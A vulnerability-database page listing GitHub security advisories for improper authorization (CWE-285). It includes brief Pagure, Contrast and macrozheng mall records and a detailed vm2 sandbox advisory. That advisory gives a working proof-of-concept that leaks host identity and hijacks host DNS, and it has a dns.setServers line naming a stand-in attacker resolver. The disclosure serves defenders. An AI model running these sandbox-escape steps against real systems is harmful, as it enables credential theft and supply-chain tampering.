CWE-285
DiscouragedImproper Authorization
Abstraction: Class · Status: Draft
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
2766 vulnerabilities reference this CWE, most recent first.
GHSA-M5C9-MWVJ-33FC
Vulnerability from github – Published: 2022-05-13 01:31 – Updated: 2022-05-13 01:31Pagure 3.3.0 and earlier is vulnerable to loss of confidentially due to improper authorization
{
"affected": [],
"aliases": [
"CVE-2017-1002151"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-09-14T13:29:00Z",
"severity": "HIGH"
},
"details": "Pagure 3.3.0 and earlier is vulnerable to loss of confidentially due to improper authorization",
"id": "GHSA-m5c9-mwvj-33fc",
"modified": "2022-05-13T01:31:06Z",
"published": "2022-05-13T01:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1002151"
},
{
"type": "WEB",
"url": "https://pagure.io/pagure/c/c92108097e8ae4702c115ae4702b63d960838e75.patch"
},
{
"type": "WEB",
"url": "https://pagure.io/pagure/pull-request/2426"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M5HP-85Q9-X6VH
Vulnerability from github – Published: 2026-09-27 03:31 – Updated: 2026-09-27 03:31Contrast is a confidential-computing runtime for Kubernetes. In versions before 1.4.1, a recovering Coordinator does not verify the seed supplied by the recovering party. An attacker can therefore stand up a rogue Coordinator whose manifest passes validation but whose secret seed is attacker-controlled. If network traffic is redirected from the legitimate Coordinator to the attacker's Coordinator, a workload owner can be impersonated when they either set a new manifest without comparing the returned root CA certificate against the existing one (the default behavior of the contrast CLI) or verify the Coordinator without comparing the root CA certificate against a trusted reference. Under these conditions the attacker can issue certificates that chain back to the rogue Coordinator's root CA and recover arbitrary workload secrets of workloads deployed after the attack. Secrets of the legitimate Coordinator (seed, workload secrets, CA), workload integrity, and certificates chaining to the mesh CA are not affected.
{
"affected": [],
"aliases": [
"CVE-2025-71426"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-27T02:17:17Z",
"severity": "HIGH"
},
"details": "Contrast is a confidential-computing runtime for Kubernetes. In versions before 1.4.1, a recovering Coordinator does not verify the seed supplied by the recovering party. An attacker can therefore stand up a rogue Coordinator whose manifest passes validation but whose secret seed is attacker-controlled. If network traffic is redirected from the legitimate Coordinator to the attacker\u0027s Coordinator, a workload owner can be impersonated when they either set a new manifest without comparing the returned root CA certificate against the existing one (the default behavior of the contrast CLI) or verify the Coordinator without comparing the root CA certificate against a trusted reference. Under these conditions the attacker can issue certificates that chain back to the rogue Coordinator\u0027s root CA and recover arbitrary workload secrets of workloads deployed after the attack. Secrets of the legitimate Coordinator (seed, workload secrets, CA), workload integrity, and certificates chaining to the mesh CA are not affected.",
"id": "GHSA-m5hp-85q9-x6vh",
"modified": "2026-09-27T03:31:03Z",
"published": "2026-09-27T03:31:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/edgelesssys/contrast/security/advisories/GHSA-vqv5-385r-2hf8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71426"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/contrast-before-1.4.1-coordinator-impersonation-via-unauthenticated-recovery"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M5Q3-X5VG-97F9
Vulnerability from github – Published: 2025-09-03 00:30 – Updated: 2025-09-03 00:30A vulnerability was found in macrozheng mall up to 1.0.3. This vulnerability affects the function paySuccess of the file /order/paySuccess. The manipulation of the argument orderId results in authorization bypass. The attack can be launched remotely. The exploit has been made public and could be used.
{
"affected": [],
"aliases": [
"CVE-2025-9836"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-02T22:15:33Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in macrozheng mall up to 1.0.3. This vulnerability affects the function paySuccess of the file /order/paySuccess. The manipulation of the argument orderId results in authorization bypass. The attack can be launched remotely. The exploit has been made public and could be used.",
"id": "GHSA-m5q3-x5vg-97f9",
"modified": "2025-09-03T00:30:56Z",
"published": "2025-09-03T00:30:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9836"
},
{
"type": "WEB",
"url": "https://github.com/ez-lbz/poc/issues/47"
},
{
"type": "WEB",
"url": "https://github.com/ez-lbz/poc/issues/47#issue-3354493935"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.322183"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.322183"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.641738"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M5W8-4GQ2-6F8X
Vulnerability from github – Published: 2026-08-17 17:32 – Updated: 2026-08-17 17:32NodeVM builtin: ['*'] exposes os and dns — process-wide observability reads AND writes that hijack the host (sibling class of GHSA-9g8x-92q2-p28f)
CWE: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) chained with CWE-732 (Incorrect Permission Assignment for Critical Resource) and CWE-285 (Improper Authorization) — same class the maintainer codified as Defense Invariant #13 in lib/builtin.js and as Category 35 / GHSA-9g8x in docs/ATTACKS.md.
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L → 9.3 (Critical)
(Scope = Changed because the data being read and the state being written both belong to the host process, not the sandbox. Confidentiality = High because os.userInfo() returns host UID/GID/username/homedir + os.networkInterfaces() returns the full host network topology including container/VM interfaces with IPs and MAC addresses. Integrity = High because dns.setServers() is a process-wide write that hijacks every subsequent DNS lookup the host makes — including outbound HTTP, telemetry, npm/registry, and any host code that uses fetch or URL-based fs paths. Privileges Required = None because the attacker controls sandbox code, which is the threat model NodeVM exists to mitigate.)
Summary
GHSA-9g8x-92q2-p28f closed the "process-wide observability builtins" class by adding diagnostics_channel, async_hooks, perf_hooks, and v8 to DANGEROUS_BUILTINS in lib/builtin.js. The fix's rationale (in the commit message and docs/ATTACKS.md Category 35) is general:
Process-wide observability builtins. Unlike most Node builtins, these expose state of the entire host process rather than sandbox-local state — the vm2 boundary cannot usefully contain them because the data they surface […] belongs to the embedder. Even a readonly proxy that forwards every call to the host module is a working host-data exfiltration primitive.
Two builtins satisfying the same description were not added: os and dns. Both are reachable today under the documented builtin: ['*'] configuration; both expose host-process state that the vm.readonly() proxy cannot localise; and both have write APIs that mutate global host-process state from the sandbox (os.setPriority(), dns.setServers(), dns.setDefaultResultOrder()). dns.setServers() in particular turns sandbox code into a process-wide DNS hijack primitive — strictly worse than every read-only leak that GHSA-9g8x added.
Adding os and dns to DANGEROUS_BUILTINS extends the same fix to the rest of the class. The existing isDangerousBuiltin(key) family-prefix matcher (added by GHSA-rp36-8xq3-r6c4) automatically catches node:os, node:dns, and node:dns/promises once the family names are present.
Affected
- vm2
v3.11.5(currentpackage.jsonversion onmain) and the unreleased[3.11.4]slot that ships GHSA-9g8x-92q2-p28f, GHSA-rp36-8xq3-r6c4, GHSA-r9pm-gxmw-wv6p, et al. - All NodeVM configurations that expand the builtin allowlist via
'*'(the documented "full builtins" pattern) and have not manually appended-os,-dnsexclusions — which is the recommended config in README and the test fixtures. - Reproduced on Node v22.12.0 with HEAD
7a1f510of the audit checkout.
Vulnerability details
[A] — Source: the '*' wildcard expansion includes os and dns
lib/builtin.js:166-167:
const BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))
.filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s));
isDangerousBuiltin resolves the current DANGEROUS_BUILTINS set (lib/builtin.js:83-139):
const DANGEROUS_BUILTINS = new Set([
'module', 'worker_threads', 'cluster', 'vm', 'repl', 'inspector', 'process',
'trace_events', 'wasi',
// GHSA-9g8x-92q2-p28f:
'diagnostics_channel', 'async_hooks', 'perf_hooks', 'v8'
]);
os and dns are absent. Under builtin: ['*'] they are admitted into the user-visible builtin map and loaded via the default vm.readonly(hostRequire(key)) path (lib/builtin.js:230):
builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));
The readonly proxy forwards every method call to the host realm. For modules whose entire purpose is to read or mutate host-process state, the readonly wrap protects nothing — same observation the GHSA-9g8x commit message makes for v8/perf_hooks.
[B] — os: host-process READS the bridge cannot localise
os.userInfo() returns the host process owner (uid, gid, username, homedir, shell). os.networkInterfaces() returns the host's full network topology including container/VM interfaces with their IPs and MAC addresses. os.hostname() returns the host deployment identity. os.loadavg() / os.uptime() / os.freemem() / os.totalmem() expose host-wide telemetry.
The data source is the host kernel and the host process — the sandbox's vm.readonly() proxy cannot make these calls "sandbox-local" any more than it can for perf_hooks.performance.getEntriesByType('mark'). Same class as the four builtins GHSA-9g8x added.
[C] — os: host-process WRITE via os.setPriority()
os.setPriority([pid, ]priority) invokes setpriority(2) on the host process. With pid = 0 (the default) the sandbox lowers — or, if the host has CAP_SYS_NICE, raises — the priority of the host process. Effect persists after the sandbox call returns; the host has no notification.
Strictly worse than the read-only v8 / perf_hooks family because it's a mutation of host state, not just an observation.
[D] — dns: host-process READS
dns.lookup(hostname, cb) and dns.resolve(hostname, cb) perform DNS queries from the host network identity. The query leaves the host process and lands at whatever DNS resolver the host is configured to use, which sees the host's source IP and the queried name. For deployments behind corporate DNS or per-tenant resolvers, this is a routine SSRF-precursor.
dns.getServers() reveals the host's configured DNS servers — useful for fingerprinting which hosting provider / cloud network the embedder is deployed on.
[E] — dns: host-process WRITE via dns.setServers() — the strongest primitive
dns.setServers(['attacker.example:53']) replaces the host's process-wide DNS resolver list. Every subsequent DNS lookup the host process performs — its own outbound HTTP, telemetry, npm registry, fetch() calls, fs URL paths, any host code that resolves a hostname — goes through the attacker's resolver. The attacker can:
- Return
127.0.0.1for any external hostname and steal whatever the host POSTs to it (credentials, tokens). - Return an attacker-controlled IP for
registry.npmjs.orgto swap dependencies on the next install. - Return arbitrary IPs for OIDC issuer hostnames to subvert authentication.
- Stop responding on lookups for legitimate hostnames to DoS host-side telemetry and observability.
The attacker primitive is one synchronous line of sandbox code. There is no rate limit, no audit trail, no notification to the embedder. Symmetric dns.setDefaultResultOrder(order) is a second process-wide write knob that lets the sandbox flip 'ipv4first' ↔ 'verbatim', mainly useful as a chaining helper.
dns/promises also exists as a subpath and shares the same module surface; adding dns to DANGEROUS_BUILTINS automatically catches dns/promises via the existing isDangerousBuiltin family-prefix matcher.
Proof of concept
test-poc.js (run from the vm2 checkout root):
const {NodeVM} = require('./');
// --- [B] / [C] — os reads + write ---
{
const vm = new NodeVM({ require: { external: true, builtin: ['*'] } });
const r = vm.run(`
const os = require('os');
const before = os.getPriority();
os.setPriority(10); // mutates host process nice value
module.exports = {
userInfo: os.userInfo(), // uid/gid/username/homedir/shell of host
hostname: os.hostname(),
networkInterfaces: Object.keys(os.networkInterfaces()),
uptime: os.uptime(),
priorityBefore: before,
priorityAfter: os.getPriority()
};
`, 'os.js');
console.log(JSON.stringify(r, null, 2));
// Independently verify the host process now reports the bumped priority:
console.log('host getPriority() =', require('os').getPriority());
}
// --- [E] — dns.setServers hijack ---
{
const dnsHost = require('dns');
console.log('host DNS before:', dnsHost.getServers());
const vm = new NodeVM({ require: { external: true, builtin: ['*'] } });
vm.run(`
require('dns').setServers(['127.0.0.1:5353', '8.8.4.4']);
`, 'dns.js');
console.log('host DNS after:', dnsHost.getServers());
// Every subsequent dns.lookup() in the host process now hits the attacker.
}
Observed output on Node v22.12.0 against HEAD 7a1f510:
{
"userInfo": { "uid": 0, "gid": 0, "username": "root",
"homedir": "/root", "shell": "/bin/bash" },
"hostname": "Debian-trixie-latest-amd64-base",
"networkInterfaces": [ "lo", "enp3s0", "br-06cf1b47c8e0", "podman2",
"vethd3955b5", ..., "veth3" ],
"uptime": 6093038.92,
"priorityBefore": 0,
"priorityAfter": 10
}
host getPriority() = 10 ← host realm sees the sandbox write
host DNS before: [ '185.12.64.2', '2a01:4ff:ff00::add:1',
'185.12.64.1', '2a01:4ff:ff00::add:2' ]
host DNS after: [ '127.0.0.1:5353', '8.8.4.4' ] ← hijacked
Both the host priority change and the host DNS server replacement are observed from the host realm (outside the sandbox) after the vm.run() call returns — confirming the writes persisted past the bridge boundary.
Impact
Direct
- Host identity disclosure (
os) — sandbox reads the host process owner's username, uid, gid, home directory, and shell. For embedders running vm2 with elevated privileges (a common deployment pattern — webhook executors, CI runners), this discloses both the privilege level and the home directory paths the attacker should target for subsequent file writes. - Network topology disclosure (
os.networkInterfaces) — sandbox enumerates every host network interface including container/VM veth pairs, exposing the deployment's internal topology and giving attackers IP ranges to scan via any other network primitive the embedder grants. - Process-wide DNS hijack (
dns.setServers) — sandbox replaces the host's DNS resolver list with one line. Every subsequent DNS query the host makes flows through the attacker's resolver. This is a generic credential/token-exfiltration primitive against any host-side outbound HTTP, and a generic supply-chain primitive against any host-side package fetch. - Process priority mutation (
os.setPriority) — sandbox lowers host process priority for stealth/DoS, or raises it (if the host has CAP_SYS_NICE) for priority squatting against co-tenant processes.
Indirect / second-order
- Composes with
dgram/http/fetchwhitelisting — embedders who grant the sandbox network access via theexternalflag or a documented-os, -dnscutout often miss DNS hijacking as a side-channel. The DNS resolver list change persists in the host, so even host-realm outbound HTTP gets redirected. - Composes with future host-realm-string introductions — if any future vm2 fix surfaces a host-realm string (URL, path, hostname) inside the sandbox, the sandbox's hijacked DNS resolver decides where the host eventually connects.
- Defeats GHSA-9g8x's own threat model — the GHSA-9g8x commit message states the goal is to close the "process-wide observability" class. Leaving
osanddnsopen leaves the class half-closed; the read-side leak path that the commit enumerates fordiagnostics_channel("attacker reads host HTTP requests through a subscriber") composes withdns.setServersto also redirect those requests. - Same fix is forward-compatible with future Node releases — adding
osanddnstoDANGEROUS_BUILTINSdoes not require enumerating every future Node API; the family-prefix matcher (isDangerousBuiltin) already covers any newos/...ordns/...subpath Node introduces.
Suggested fix
Single-line extension of DANGEROUS_BUILTINS in lib/builtin.js:83-139, alongside the four GHSA-9g8x additions, with the same // SECURITY (GHSA-...) block comment style and rationale:
const DANGEROUS_BUILTINS = new Set([
'module', 'worker_threads', 'cluster', 'vm', 'repl', 'inspector', 'process',
'trace_events', 'wasi',
'diagnostics_channel', 'async_hooks', 'perf_hooks', 'v8',
// SECURITY (this advisory): Process-wide observability + WRITE builtins.
// `os.userInfo()` / `os.networkInterfaces()` leak host process identity and
// network topology in the same class as the GHSA-9g8x readers. `os.setPriority()`,
// `dns.setServers()`, and `dns.setDefaultResultOrder()` are *write* primitives
// that mutate host-process state from the sandbox — `dns.setServers()` is a
// process-wide DNS resolver hijack reachable in one line of sandbox code.
// Embedders who genuinely need a sandbox-local replacement can register a
// controlled wrapper under the same name via `mock` / `override`.
'os',
'dns'
]);
The existing isDangerousBuiltin(key) family-prefix matcher (introduced by GHSA-rp36-8xq3-r6c4) automatically extends this to node:os, node:dns, and node:dns/promises without further changes. Embedders who genuinely need a sandbox-local os/dns (typically os.platform(), os.EOL, os.constants) can register a hand-written safe wrapper under those names via mock / override, mirroring the escape hatch documented for the GHSA-9g8x denials.
Tests should mirror the test/ghsa/GHSA-9g8x-92q2-p28f/repro.js shape: bare-name + node:-prefixed denial on require(), '*' wildcard expansion exclusion, explicit-allowlist (builtin: ['os'], builtin: ['dns']) rejection, makeBuiltins(['os']) rejection, mock / override escape-hatch acceptance.
docs/ATTACKS.md Category 35 can be extended with the two additional names and the write-class observation, or a new sibling category created for the read+write subclass — either matches the existing documentation pattern.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.5"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-285",
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-17T17:32:47Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "# NodeVM `builtin: [\u0027*\u0027]` exposes `os` and `dns` \u2014 process-wide observability reads AND writes that hijack the host (sibling class of GHSA-9g8x-92q2-p28f)\n\n**CWE**: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) chained with CWE-732 (Incorrect Permission Assignment for Critical Resource) and CWE-285 (Improper Authorization) \u2014 same class the maintainer codified as Defense Invariant #13 in `lib/builtin.js` and as Category 35 / GHSA-9g8x in `docs/ATTACKS.md`.\n\n**CVSS v3.1**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L` \u2192 9.3 (Critical)\n\n(Scope = Changed because the data being read and the state being written both belong to the host process, not the sandbox. Confidentiality = High because `os.userInfo()` returns host UID/GID/username/homedir + `os.networkInterfaces()` returns the full host network topology including container/VM interfaces with IPs and MAC addresses. Integrity = High because `dns.setServers()` is a process-wide write that hijacks every subsequent DNS lookup the host makes \u2014 including outbound HTTP, telemetry, npm/registry, and any host code that uses `fetch` or URL-based fs paths. Privileges Required = None because the attacker controls sandbox code, which is the threat model `NodeVM` exists to mitigate.)\n\n## Summary\n\nGHSA-9g8x-92q2-p28f closed the \"process-wide observability builtins\" class by adding `diagnostics_channel`, `async_hooks`, `perf_hooks`, and `v8` to `DANGEROUS_BUILTINS` in `lib/builtin.js`. The fix\u0027s rationale (in the commit message and `docs/ATTACKS.md` Category 35) is general:\n\n\u003e Process-wide observability builtins. Unlike most Node builtins, these expose state of the *entire host process* rather than sandbox-local state \u2014 the vm2 boundary cannot usefully contain them because the data they surface [\u2026] belongs to the embedder. Even a readonly proxy that forwards every call to the host module is a working host-data exfiltration primitive.\n\nTwo builtins satisfying the same description were not added: **`os`** and **`dns`**. Both are reachable today under the documented `builtin: [\u0027*\u0027]` configuration; both expose host-process state that the `vm.readonly()` proxy cannot localise; and both have *write* APIs that mutate global host-process state from the sandbox (`os.setPriority()`, `dns.setServers()`, `dns.setDefaultResultOrder()`). `dns.setServers()` in particular turns sandbox code into a process-wide DNS hijack primitive \u2014 strictly worse than every read-only leak that GHSA-9g8x added.\n\nAdding `os` and `dns` to `DANGEROUS_BUILTINS` extends the same fix to the rest of the class. The existing `isDangerousBuiltin(key)` family-prefix matcher (added by GHSA-rp36-8xq3-r6c4) automatically catches `node:os`, `node:dns`, and `node:dns/promises` once the family names are present.\n\n## Affected\n\n- vm2 `v3.11.5` (current `package.json` version on `main`) and the unreleased `[3.11.4]` slot that ships GHSA-9g8x-92q2-p28f, GHSA-rp36-8xq3-r6c4, GHSA-r9pm-gxmw-wv6p, et al.\n- All NodeVM configurations that expand the builtin allowlist via `\u0027*\u0027` (the documented \"full builtins\" pattern) and have not manually appended `-os`, `-dns` exclusions \u2014 which is the recommended config in README and the test fixtures.\n- Reproduced on Node v22.12.0 with HEAD `7a1f510` of the audit checkout.\n\n## Vulnerability details\n\n### [A] \u2014 Source: the `\u0027*\u0027` wildcard expansion includes `os` and `dns`\n\n`lib/builtin.js:166-167`:\n\n```js\nconst BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding(\u0027natives\u0027)))\n .filter(s =\u003e !s.startsWith(\u0027internal/\u0027) \u0026\u0026 !s.startsWith(\u0027_\u0027) \u0026\u0026 !isDangerousBuiltin(s));\n```\n\n`isDangerousBuiltin` resolves the current `DANGEROUS_BUILTINS` set (`lib/builtin.js:83-139`):\n\n```js\nconst DANGEROUS_BUILTINS = new Set([\n \u0027module\u0027, \u0027worker_threads\u0027, \u0027cluster\u0027, \u0027vm\u0027, \u0027repl\u0027, \u0027inspector\u0027, \u0027process\u0027,\n \u0027trace_events\u0027, \u0027wasi\u0027,\n // GHSA-9g8x-92q2-p28f:\n \u0027diagnostics_channel\u0027, \u0027async_hooks\u0027, \u0027perf_hooks\u0027, \u0027v8\u0027\n]);\n```\n\n`os` and `dns` are absent. Under `builtin: [\u0027*\u0027]` they are admitted into the user-visible builtin map and loaded via the default `vm.readonly(hostRequire(key))` path (`lib/builtin.js:230`):\n\n```js\nbuiltins.set(key, special ? special : vm =\u003e vm.readonly(hostRequire(key)));\n```\n\nThe readonly proxy forwards every method call to the host realm. For modules whose entire purpose is to read or mutate host-process state, the readonly wrap protects nothing \u2014 same observation the GHSA-9g8x commit message makes for `v8`/`perf_hooks`.\n\n### [B] \u2014 `os`: host-process READS the bridge cannot localise\n\n`os.userInfo()` returns the host process owner (uid, gid, username, homedir, shell). `os.networkInterfaces()` returns the host\u0027s full network topology including container/VM interfaces with their IPs and MAC addresses. `os.hostname()` returns the host deployment identity. `os.loadavg()` / `os.uptime()` / `os.freemem()` / `os.totalmem()` expose host-wide telemetry.\n\nThe data source is the host kernel and the host process \u2014 the sandbox\u0027s `vm.readonly()` proxy cannot make these calls \"sandbox-local\" any more than it can for `perf_hooks.performance.getEntriesByType(\u0027mark\u0027)`. Same class as the four builtins GHSA-9g8x added.\n\n### [C] \u2014 `os`: host-process WRITE via `os.setPriority()`\n\n`os.setPriority([pid, ]priority)` invokes `setpriority(2)` on the host process. With `pid = 0` (the default) the sandbox lowers \u2014 or, if the host has CAP_SYS_NICE, raises \u2014 the priority of the host process. Effect persists after the sandbox call returns; the host has no notification.\n\nStrictly worse than the read-only `v8` / `perf_hooks` family because it\u0027s a *mutation* of host state, not just an observation.\n\n### [D] \u2014 `dns`: host-process READS\n\n`dns.lookup(hostname, cb)` and `dns.resolve(hostname, cb)` perform DNS queries from the host network identity. The query leaves the host process and lands at whatever DNS resolver the host is configured to use, which sees the host\u0027s source IP and the queried name. For deployments behind corporate DNS or per-tenant resolvers, this is a routine SSRF-precursor.\n\n`dns.getServers()` reveals the host\u0027s configured DNS servers \u2014 useful for fingerprinting which hosting provider / cloud network the embedder is deployed on.\n\n### [E] \u2014 `dns`: host-process WRITE via `dns.setServers()` \u2014 the strongest primitive\n\n`dns.setServers([\u0027attacker.example:53\u0027])` replaces the host\u0027s process-wide DNS resolver list. Every subsequent DNS lookup the host process performs \u2014 its own outbound HTTP, telemetry, npm registry, fetch() calls, `fs` URL paths, any host code that resolves a hostname \u2014 goes through the attacker\u0027s resolver. The attacker can:\n\n- Return `127.0.0.1` for any external hostname and steal whatever the host POSTs to it (credentials, tokens).\n- Return an attacker-controlled IP for `registry.npmjs.org` to swap dependencies on the next install.\n- Return arbitrary IPs for OIDC issuer hostnames to subvert authentication.\n- Stop responding on lookups for legitimate hostnames to DoS host-side telemetry and observability.\n\nThe attacker primitive is *one synchronous line of sandbox code*. There is no rate limit, no audit trail, no notification to the embedder. Symmetric `dns.setDefaultResultOrder(order)` is a second process-wide write knob that lets the sandbox flip `\u0027ipv4first\u0027` \u2194 `\u0027verbatim\u0027`, mainly useful as a chaining helper.\n\n`dns/promises` also exists as a subpath and shares the same module surface; adding `dns` to `DANGEROUS_BUILTINS` automatically catches `dns/promises` via the existing `isDangerousBuiltin` family-prefix matcher.\n\n## Proof of concept\n\n`test-poc.js` (run from the vm2 checkout root):\n\n```js\nconst {NodeVM} = require(\u0027./\u0027);\n\n// --- [B] / [C] \u2014 os reads + write ---\n{\n const vm = new NodeVM({ require: { external: true, builtin: [\u0027*\u0027] } });\n const r = vm.run(`\n const os = require(\u0027os\u0027);\n const before = os.getPriority();\n os.setPriority(10); // mutates host process nice value\n module.exports = {\n userInfo: os.userInfo(), // uid/gid/username/homedir/shell of host\n hostname: os.hostname(),\n networkInterfaces: Object.keys(os.networkInterfaces()),\n uptime: os.uptime(),\n priorityBefore: before,\n priorityAfter: os.getPriority()\n };\n `, \u0027os.js\u0027);\n console.log(JSON.stringify(r, null, 2));\n // Independently verify the host process now reports the bumped priority:\n console.log(\u0027host getPriority() =\u0027, require(\u0027os\u0027).getPriority());\n}\n\n// --- [E] \u2014 dns.setServers hijack ---\n{\n const dnsHost = require(\u0027dns\u0027);\n console.log(\u0027host DNS before:\u0027, dnsHost.getServers());\n\n const vm = new NodeVM({ require: { external: true, builtin: [\u0027*\u0027] } });\n vm.run(`\n require(\u0027dns\u0027).setServers([\u0027127.0.0.1:5353\u0027, \u00278.8.4.4\u0027]);\n `, \u0027dns.js\u0027);\n\n console.log(\u0027host DNS after:\u0027, dnsHost.getServers());\n // Every subsequent dns.lookup() in the host process now hits the attacker.\n}\n```\n\nObserved output on Node v22.12.0 against HEAD `7a1f510`:\n\n```\n{\n \"userInfo\": { \"uid\": 0, \"gid\": 0, \"username\": \"root\",\n \"homedir\": \"/root\", \"shell\": \"/bin/bash\" },\n \"hostname\": \"Debian-trixie-latest-amd64-base\",\n \"networkInterfaces\": [ \"lo\", \"enp3s0\", \"br-06cf1b47c8e0\", \"podman2\",\n \"vethd3955b5\", ..., \"veth3\" ],\n \"uptime\": 6093038.92,\n \"priorityBefore\": 0,\n \"priorityAfter\": 10\n}\nhost getPriority() = 10 \u2190 host realm sees the sandbox write\n\nhost DNS before: [ \u0027185.12.64.2\u0027, \u00272a01:4ff:ff00::add:1\u0027,\n \u0027185.12.64.1\u0027, \u00272a01:4ff:ff00::add:2\u0027 ]\nhost DNS after: [ \u0027127.0.0.1:5353\u0027, \u00278.8.4.4\u0027 ] \u2190 hijacked\n```\n\nBoth the host priority change and the host DNS server replacement are observed from the host realm (outside the sandbox) after the `vm.run()` call returns \u2014 confirming the writes persisted past the bridge boundary.\n\n## Impact\n\n### Direct\n\n- **Host identity disclosure (`os`)** \u2014 sandbox reads the host process owner\u0027s username, uid, gid, home directory, and shell. For embedders running vm2 with elevated privileges (a common deployment pattern \u2014 webhook executors, CI runners), this discloses both the privilege level and the home directory paths the attacker should target for subsequent file writes.\n- **Network topology disclosure (`os.networkInterfaces`)** \u2014 sandbox enumerates every host network interface including container/VM veth pairs, exposing the deployment\u0027s internal topology and giving attackers IP ranges to scan via any other network primitive the embedder grants.\n- **Process-wide DNS hijack (`dns.setServers`)** \u2014 sandbox replaces the host\u0027s DNS resolver list with one line. Every subsequent DNS query the host makes flows through the attacker\u0027s resolver. This is a generic credential/token-exfiltration primitive against any host-side outbound HTTP, and a generic supply-chain primitive against any host-side package fetch.\n- **Process priority mutation (`os.setPriority`)** \u2014 sandbox lowers host process priority for stealth/DoS, or raises it (if the host has CAP_SYS_NICE) for priority squatting against co-tenant processes.\n\n### Indirect / second-order\n\n- **Composes with `dgram` / `http` / `fetch` whitelisting** \u2014 embedders who grant the sandbox network access via the `external` flag or a documented `-os, -dns` cutout often miss DNS hijacking as a side-channel. The DNS resolver list change persists in the *host*, so even host-realm outbound HTTP gets redirected.\n- **Composes with future host-realm-string introductions** \u2014 if any future vm2 fix surfaces a host-realm string (URL, path, hostname) inside the sandbox, the sandbox\u0027s hijacked DNS resolver decides where the host eventually connects.\n- **Defeats GHSA-9g8x\u0027s own threat model** \u2014 the GHSA-9g8x commit message states the goal is to close the \"process-wide observability\" class. Leaving `os` and `dns` open leaves the class half-closed; the read-side leak path that the commit enumerates for `diagnostics_channel` (\"attacker reads host HTTP requests through a subscriber\") composes with `dns.setServers` to *also* redirect those requests.\n- **Same fix is forward-compatible with future Node releases** \u2014 adding `os` and `dns` to `DANGEROUS_BUILTINS` does not require enumerating every future Node API; the family-prefix matcher (`isDangerousBuiltin`) already covers any new `os/...` or `dns/...` subpath Node introduces.\n\n## Suggested fix\n\nSingle-line extension of `DANGEROUS_BUILTINS` in `lib/builtin.js:83-139`, alongside the four GHSA-9g8x additions, with the same `// SECURITY (GHSA-...)` block comment style and rationale:\n\n```js\nconst DANGEROUS_BUILTINS = new Set([\n \u0027module\u0027, \u0027worker_threads\u0027, \u0027cluster\u0027, \u0027vm\u0027, \u0027repl\u0027, \u0027inspector\u0027, \u0027process\u0027,\n \u0027trace_events\u0027, \u0027wasi\u0027,\n \u0027diagnostics_channel\u0027, \u0027async_hooks\u0027, \u0027perf_hooks\u0027, \u0027v8\u0027,\n // SECURITY (this advisory): Process-wide observability + WRITE builtins.\n // `os.userInfo()` / `os.networkInterfaces()` leak host process identity and\n // network topology in the same class as the GHSA-9g8x readers. `os.setPriority()`,\n // `dns.setServers()`, and `dns.setDefaultResultOrder()` are *write* primitives\n // that mutate host-process state from the sandbox \u2014 `dns.setServers()` is a\n // process-wide DNS resolver hijack reachable in one line of sandbox code.\n // Embedders who genuinely need a sandbox-local replacement can register a\n // controlled wrapper under the same name via `mock` / `override`.\n \u0027os\u0027,\n \u0027dns\u0027\n]);\n```\n\nThe existing 